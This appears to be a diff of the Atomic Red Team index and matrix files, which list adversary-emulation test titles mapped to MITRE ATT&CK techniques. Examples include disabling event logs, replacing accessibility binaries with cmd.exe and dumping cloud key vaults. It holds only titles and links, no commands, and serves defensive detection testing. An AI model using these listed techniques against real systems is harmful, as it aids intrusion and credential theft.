- Atomic Test #1: New-Inbox Rule to Hide E-mail in M365 [office-365]
- [T1027.013 Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md)
- Atomic Test #1: Decode Eicar File and Write to File [windows, macos, linux]
- Atomic Test #2: Decrypt Eicar File and Write to File [windows, macos, linux]
- T1027.013 Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1014 Rootkit](../../T1014/T1014.md)
- Atomic Test #1: Loadable Kernel Module based Rootkit [linux]
- Atomic Test #2: Loadable Kernel Module based Rootkit [linux]
@@ -105,9 +103,8 @@
- T1542.003 Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1218.013 Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1036.005 Masquerading: Match Legitimate Name or Location](../../T1036.005/T1036.005.md)
- Atomic Test #1: Execute a process from a directory masquerading as the current parent directory [macos, linux]
- Atomic Test #1: Execute a process from a directory masquerading as the current parent directory. [macos, linux]
- Atomic Test #2: Masquerade as a built-in system executable [windows]
- Atomic Test #3: Masquerading cmd.exe as VEDetector.exe [windows]
- T1600 Weaken Encryption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1036.008 Masquerade File Type [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1564 Hide Artifacts](../../T1564/T1564.md)
@@ -229,7 +226,6 @@
- Atomic Test #8: Hex decoding with shell utilities [linux, macos]
- Atomic Test #9: Linux Base64 Encoded Shebang in CLI [linux, macos]
- Atomic Test #10: XOR decoding and command execution using Python [linux, macos]
- Atomic Test #11: Expand CAB with expand.exe [windows]
- [T1562 Impair Defenses](../../T1562/T1562.md)
- Atomic Test #1: Windows Disable LSA Protection [windows]
- Atomic Test #2: Disable journal logging via systemctl utility [linux]
@@ -671,8 +667,6 @@
- Atomic Test #55: Disable EventLog-Application Auto Logger Session Via Registry - PowerShell [windows]
- Atomic Test #56: Disable EventLog-Application ETW Provider Via Registry - Cmd [windows]
- Atomic Test #57: Disable EventLog-Application ETW Provider Via Registry - PowerShell [windows]
- Atomic Test #58: Freeze PPL-protected process with EDR-Freeze [windows]
- Atomic Test #59: Disable ASLR Via sysctl parameters - Linux [linux]
- T1601 Modify System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1574 Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1027.005 Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -843,7 +837,9 @@
- Atomic Test #1: AWS - Create Snapshot from EBS Volume [iaas:aws]
- Atomic Test #2: Azure - Create Snapshot from Managed Disk [iaas:azure]
- Atomic Test #3: GCP - Create Snapshot from Persistent Disk [iaas:gcp]
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1550.001 Use Alternate Authentication Material: Application Access Token](../../T1550.001/T1550.001.md)
- Atomic Test #1: Azure - Functions code upload - Functions code injection via Blob upload [iaas:azure]
- Atomic Test #2: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token [iaas:azure]
- [T1078.004 Valid Accounts: Cloud Accounts](../../T1078.004/T1078.004.md)
- Atomic Test #1: Creating GCP Service Account and Service Account Key [google-workspace, iaas:gcp]
- Atomic Test #2: Azure Persistence Automation Runbook Created or Modified [iaas:azure]
@@ -1088,8 +1084,6 @@
- Atomic Test #6: Replace utilman.exe (Ease of Access Binary) with cmd.exe [windows]
- Atomic Test #7: Replace Magnify.exe (Magnifier binary) with cmd.exe [windows]
- Atomic Test #8: Replace Narrator.exe (Narrator binary) with cmd.exe [windows]
- Atomic Test #9: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe [windows]
- Atomic Test #10: Replace AtBroker.exe (App Switcher binary) with cmd.exe [windows]
- [T1055.004 Process Injection: Asynchronous Procedure Call](../../T1055.004/T1055.004.md)
- Atomic Test #1: Process Injection via C# [windows]
- Atomic Test #2: EarlyBird APC Queue Injection in Go [windows]
@@ -1341,7 +1335,6 @@
- Atomic Test #9: Office Generic Payload Download [windows]
- Atomic Test #10: LNK Payload Download [windows]
- Atomic Test #11: Mirror Blast Emulation [windows]
- Atomic Test #12: ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell [windows]
- [T1053.003 Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md)
- Atomic Test #1: Cron - Replace crontab with referenced file [linux, macos]
- Atomic Test #2: Cron - Add script to all cron subfolders [macos, linux]
@@ -1731,8 +1724,6 @@
- Atomic Test #6: Replace utilman.exe (Ease of Access Binary) with cmd.exe [windows]
- Atomic Test #7: Replace Magnify.exe (Magnifier binary) with cmd.exe [windows]
- Atomic Test #8: Replace Narrator.exe (Narrator binary) with cmd.exe [windows]
- Atomic Test #9: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe [windows]
- Atomic Test #10: Replace AtBroker.exe (App Switcher binary) with cmd.exe [windows]
- [T1136.002 Create Account: Domain Account](../../T1136.002/T1136.002.md)
- Atomic Test #1: Create a new Windows domain admin user [windows]
- Atomic Test #2: Create a new account similar to ANONYMOUS LOGON [windows]
@@ -2087,7 +2078,6 @@
- Atomic Test #9: Encrypts collected data with AES-256 and Base64 [linux, macos]
- Atomic Test #10: ESXi - Remove Syslog remote IP [windows]
- Atomic Test #11: Compress a File for Exfiltration using Makecab [windows]
- Atomic Test #12: Copy and Compress AppData Folder [windows]
- [T1113 Screen Capture](../../T1113/T1113.md)
- Atomic Test #1: Screencapture [macos]
- Atomic Test #2: Screencapture (silent) [macos]
@@ -2136,8 +2126,10 @@
- Atomic Test #4: Collect Clipboard Data via VBA [windows]
- Atomic Test #5: Add or copy content to clipboard with xClip [linux]
- [T1530 Data from Cloud Storage Object](../../T1530/T1530.md)
- Atomic Test #1: AWS - Scan for Anonymous Access to S3 [iaas:aws]
- Atomic Test #2: Azure - Dump Azure Storage Account Objects via Azure CLI [iaas:azure]
- Atomic Test #1: Azure - Enumerate Azure Blobs with MicroBurst [iaas:azure]
- Atomic Test #2: Azure - Scan for Anonymous Access to Azure Storage (Powershell) [iaas:azure]
- Atomic Test #3: AWS - Scan for Anonymous Access to S3 [iaas:aws]
- Atomic Test #4: Azure - Dump Azure Storage Account Objects via Azure CLI [iaas:azure]
- T1074.002 Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1005 Data from Local System](../../T1005/T1005.md)
- Atomic Test #1: Search files of interest and save them to a single zip file (Windows) [windows]
@@ -2233,7 +2225,9 @@
- Atomic Test #2: Changing RDP Port to Non Standard Port via Powershell [windows]
- Atomic Test #3: Changing RDP Port to Non Standard Port via Command_Prompt [windows]
- Atomic Test #4: Disable NLA for RDP via Command Prompt [windows]
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1550.001 Use Alternate Authentication Material: Application Access Token](../../T1550.001/T1550.001.md)
- Atomic Test #1: Azure - Functions code upload - Functions code injection via Blob upload [iaas:azure]
- Atomic Test #2: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token [iaas:azure]
# credential-access
- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -2439,8 +2433,7 @@
- Atomic Test #17: Find OCI credentials [macos, linux]
- T1606.001 Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1528 Steal Application Access Token](../../T1528/T1528.md)
- Atomic Test #1: Azure - Functions code upload - Functions code injection via Blob upload [iaas:azure]
- Atomic Test #2: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token [iaas:azure]
- Atomic Test #1: Azure - Dump All Azure Key Vaults with Microburst [iaas:azure]
- [T1552.006 Unsecured Credentials: Group Policy Preferences](../../T1552.006/T1552.006.md)
- Atomic Test #1: GPP Passwords (findstr) [windows]
- Atomic Test #2: GPP Passwords (Get-GPPPassword) [windows]
@@ -2467,8 +2460,7 @@
- T1056 Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1557.002 ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1556.009 Conditional Access Policies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1555.006 Credentials from Password Stores: Cloud Secrets Management Stores](../../T1555.006/T1555.006.md)
- Atomic Test #1: Azure - Dump All Azure Key Vaults with Microburst [iaas:azure]
- T1555.006 Cloud Secrets Management Stores [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1003.008 OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow](../../T1003.008/T1003.008.md)
- Atomic Test #1: Access /etc/shadow (Local) [linux]
- Atomic Test #2: Access /etc/master.passwd (Local) [linux]
@@ -2735,7 +2727,6 @@
- Atomic Test #5: Simulating MAZE Directory Enumeration [windows]
- Atomic Test #6: Launch DirLister Executable [windows]
- Atomic Test #7: ESXi - Enumerate VMDKs available on an ESXi Host [windows]
- Atomic Test #8: Identifying Network Shares - Linux [linux]
- [T1049 System Network Connections Discovery](../../T1049/T1049.md)
- Atomic Test #1: System Network Connections Discovery [windows]
- Atomic Test #2: System Network Connections Discovery with PowerShell [windows]
@@ -2745,8 +2736,6 @@
- [T1619 Cloud Storage Object Discovery](../../T1619/T1619.md)
- Atomic Test #1: AWS S3 Enumeration [iaas:aws]
- Atomic Test #2: Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI [iaas:azure]
- Atomic Test #3: Azure - Scan for Anonymous Access to Azure Storage (Powershell) [iaas:azure]
- Atomic Test #4: Azure - Enumerate Azure Blobs with MicroBurst [iaas:azure]
- [T1654 Log Enumeration](../../T1654/T1654.md)
- Atomic Test #1: Get-EventLog To Enumerate Windows Security Log [windows]
- Atomic Test #2: Enumerate Windows Security Log via WevtUtil [windows]
@@ -2989,7 +2978,6 @@
- Atomic Test #5: Linux - Stop service by killing process using killall [linux]
- Atomic Test #6: Linux - Stop service by killing process using kill [linux]
- Atomic Test #7: Linux - Stop service by killing process using pkill [linux]
- Atomic Test #8: Abuse of linux magic system request key for Send a SIGTERM to all processes [linux]
- T1499.004 Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1565.003 Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1498.002 Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -3001,7 +2989,6 @@
- Atomic Test #1: Replace Desktop Wallpaper [windows]
- Atomic Test #2: Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message [windows]
- Atomic Test #3: ESXi - Change Welcome Message on Direct Console User Interface (DCUI) [windows]
- Atomic Test #4: Windows - Display a simulated ransom note via Notepad (non-destructive) [windows]
- T1496.004 Cloud Service Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1496.001 Compute Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1565 Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -3068,7 +3055,6 @@
- Atomic Test #13: ESXi - Terminates VMs using pkill [windows]
- Atomic Test #14: ESXi - Avoslocker enumerates VMs and forcefully kills VMs [windows]
- Atomic Test #15: ESXi - vim-cmd Used to Power Off VMs [windows]
- Atomic Test #16: Abuse of Linux Magic System Request Key for Reboot [linux]
# initial-access
- [T1133 External Remote Services](../../T1133/T1133.md)
@@ -10,9 +10,7 @@
- T1574.007 Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1006 Direct Volume Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1564.008 Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1027.013 Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md)
- Atomic Test #1: Decode Eicar File and Write to File [windows, macos, linux]
- Atomic Test #2: Decrypt Eicar File and Write to File [windows, macos, linux]
- T1027.013 Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1014 Rootkit](../../T1014/T1014.md)
- Atomic Test #1: Loadable Kernel Module based Rootkit [linux]
- Atomic Test #2: Loadable Kernel Module based Rootkit [linux]
@@ -25,7 +23,7 @@
- T1542.003 Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1218.013 Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1036.005 Masquerading: Match Legitimate Name or Location](../../T1036.005/T1036.005.md)
- Atomic Test #1: Execute a process from a directory masquerading as the current parent directory [macos, linux]
- Atomic Test #1: Execute a process from a directory masquerading as the current parent directory. [macos, linux]
- T1036.008 Masquerade File Type [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1564 Hide Artifacts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1484.002 Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -182,7 +180,6 @@
- Atomic Test #43: Disable Memory Swap [linux]
- Atomic Test #47: Tamper with Defender ATP on Linux/MacOS [linux, macos]
- Atomic Test #50: ESXi - Disable Account Lockout Policy via PowerCLI [linux]
- Atomic Test #59: Disable ASLR Via sysctl parameters - Linux [linux]
- T1574 Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1027.005 Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1078 Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -778,7 +775,6 @@
- [T1083 File and Directory Discovery](../../T1083/T1083.md)
- Atomic Test #3: Nix File and Directory Discovery [linux, macos]
- Atomic Test #4: Nix File and Directory Discovery 2 [linux, macos]
- Atomic Test #8: Identifying Network Shares - Linux [linux]
- [T1049 System Network Connections Discovery](../../T1049/T1049.md)
- Atomic Test #3: System Network Connections Discovery FreeBSD, Linux & MacOS [linux, macos]
- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -834,7 +830,6 @@
- Atomic Test #5: Linux - Stop service by killing process using killall [linux]
- Atomic Test #6: Linux - Stop service by killing process using kill [linux]
- Atomic Test #7: Linux - Stop service by killing process using pkill [linux]
- Atomic Test #8: Abuse of linux magic system request key for Send a SIGTERM to all processes [linux]
- T1499.004 Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1565.003 Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1498.002 Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -873,7 +868,6 @@
- Atomic Test #9: Shutdown System via `poweroff` - FreeBSD/Linux [linux]
- Atomic Test #10: Reboot System via `poweroff` - FreeBSD [linux]
- Atomic Test #11: Reboot System via `poweroff` - Linux [linux]
- Atomic Test #16: Abuse of Linux Magic System Request Key for Reboot [linux]
# initial-access
- T1133 External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -10,9 +10,7 @@
- T1574.007 Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1006 Direct Volume Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1564.008 Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1027.013 Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md)
- Atomic Test #1: Decode Eicar File and Write to File [windows, macos, linux]
- Atomic Test #2: Decrypt Eicar File and Write to File [windows, macos, linux]
- T1027.013 Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1014 Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1036.007 Masquerading: Double File Extension [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -21,7 +19,7 @@
- T1542.003 Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1218.013 Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1036.005 Masquerading: Match Legitimate Name or Location](../../T1036.005/T1036.005.md)
- Atomic Test #1: Execute a process from a directory masquerading as the current parent directory [macos, linux]
- Atomic Test #1: Execute a process from a directory masquerading as the current parent directory. [macos, linux]
- T1036.008 Masquerade File Type [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1564 Hide Artifacts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1484.002 Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -49,7 +49,7 @@
- Atomic Test #9: Office 365 - Set Audit Bypass For a Mailbox [office-365]
- T1036.010 Masquerade Account Name [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1672 Email Spoofing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1078.004 Valid Accounts: Cloud Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -69,7 +69,7 @@
- T1021.007 Cloud Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.004 Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
# initial-access
- T1566.002 Phishing: Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -29,9 +29,7 @@
- [T1006 Direct Volume Access](../../T1006/T1006.md)
- Atomic Test #1: Read volume boot sector via DOS device path (PowerShell) [windows]
- T1564.008 Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1027.013 Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md)
- Atomic Test #1: Decode Eicar File and Write to File [windows, macos, linux]
- Atomic Test #2: Decrypt Eicar File and Write to File [windows, macos, linux]
- T1027.013 Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1014 Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1036.007 Masquerading: Double File Extension](../../T1036.007/T1036.007.md)
- Atomic Test #1: File Extension Masquerading [windows]
@@ -72,7 +70,6 @@
- T1218.013 Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1036.005 Masquerading: Match Legitimate Name or Location](../../T1036.005/T1036.005.md)
- Atomic Test #2: Masquerade as a built-in system executable [windows]
- Atomic Test #3: Masquerading cmd.exe as VEDetector.exe [windows]
- T1036.008 Masquerade File Type [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1564 Hide Artifacts](../../T1564/T1564.md)
- Atomic Test #1: Extract binary files via VBA [windows]
@@ -142,7 +139,6 @@
- [T1140 Deobfuscate/Decode Files or Information](../../T1140/T1140.md)
- Atomic Test #1: Deobfuscate/Decode Files Or Information [windows]
- Atomic Test #2: Certutil Rename and Decode [windows]
- Atomic Test #11: Expand CAB with expand.exe [windows]
- [T1562 Impair Defenses](../../T1562/T1562.md)
- Atomic Test #1: Windows Disable LSA Protection [windows]
- [T1055.003 Thread Execution Hijacking](../../T1055.003/T1055.003.md)
@@ -483,7 +479,6 @@
- Atomic Test #55: Disable EventLog-Application Auto Logger Session Via Registry - PowerShell [windows]
- Atomic Test #56: Disable EventLog-Application ETW Provider Via Registry - Cmd [windows]
- Atomic Test #57: Disable EventLog-Application ETW Provider Via Registry - PowerShell [windows]
- Atomic Test #58: Freeze PPL-protected process with EDR-Freeze [windows]
- T1574 Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1027.005 Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1078 Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -778,8 +773,6 @@
- Atomic Test #6: Replace utilman.exe (Ease of Access Binary) with cmd.exe [windows]
- Atomic Test #7: Replace Magnify.exe (Magnifier binary) with cmd.exe [windows]
- Atomic Test #8: Replace Narrator.exe (Narrator binary) with cmd.exe [windows]
- Atomic Test #9: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe [windows]
- Atomic Test #10: Replace AtBroker.exe (App Switcher binary) with cmd.exe [windows]
- [T1055.004 Process Injection: Asynchronous Procedure Call](../../T1055.004/T1055.004.md)
- Atomic Test #1: Process Injection via C# [windows]
- Atomic Test #2: EarlyBird APC Queue Injection in Go [windows]
@@ -951,7 +944,6 @@
- Atomic Test #9: Office Generic Payload Download [windows]
- Atomic Test #10: LNK Payload Download [windows]
- Atomic Test #11: Mirror Blast Emulation [windows]
- Atomic Test #12: ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell [windows]
- T1559.001 Component Object Model [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1106 Native API](../../T1106/T1106.md)
@@ -1247,8 +1239,6 @@
- Atomic Test #6: Replace utilman.exe (Ease of Access Binary) with cmd.exe [windows]
- Atomic Test #7: Replace Magnify.exe (Magnifier binary) with cmd.exe [windows]
- Atomic Test #8: Replace Narrator.exe (Narrator binary) with cmd.exe [windows]
- Atomic Test #9: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe [windows]
- Atomic Test #10: Replace AtBroker.exe (App Switcher binary) with cmd.exe [windows]
- [T1136.002 Create Account: Domain Account](../../T1136.002/T1136.002.md)
- Atomic Test #1: Create a new Windows domain admin user [windows]
- Atomic Test #2: Create a new account similar to ANONYMOUS LOGON [windows]
@@ -1493,7 +1483,6 @@
- Atomic Test #4: Compress Data and lock with password for Exfiltration with 7zip [windows]
- Atomic Test #10: ESXi - Remove Syslog remote IP [windows]
- Atomic Test #11: Compress a File for Exfiltration using Makecab [windows]
- Atomic Test #12: Copy and Compress AppData Folder [windows]
- [T1113 Screen Capture](../../T1113/T1113.md)
- Atomic Test #7: Windows Screencapture [windows]
- Atomic Test #8: Windows Screen Capture (CopyFromScreen) [windows]
@@ -2059,7 +2048,6 @@
- Atomic Test #1: Replace Desktop Wallpaper [windows]
- Atomic Test #2: Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message [windows]
- Atomic Test #3: ESXi - Change Welcome Message on Direct Console User Interface (DCUI) [windows]
- Atomic Test #4: Windows - Display a simulated ransom note via Notepad (non-destructive) [windows]
- T1496.001 Compute Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- T1565 Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1531 Account Access Removal](../../T1531/T1531.md)
+1 -1
View File
@@ -9,7 +9,7 @@
| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Native API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | [File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Discovery: Local Account](../../T1087.001/T1087.001.md) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Exfiltration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Systemctl [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Virtualization/Sandbox Evasion: System Checks](../../T1497.001/T1497.001.md) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Additional Local or Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Brute Force: Password Cracking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Permission Groups Discovery: Domain Groups](../../T1069.002/T1069.002.md) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Service Stop](../../T1489/T1489.md) |
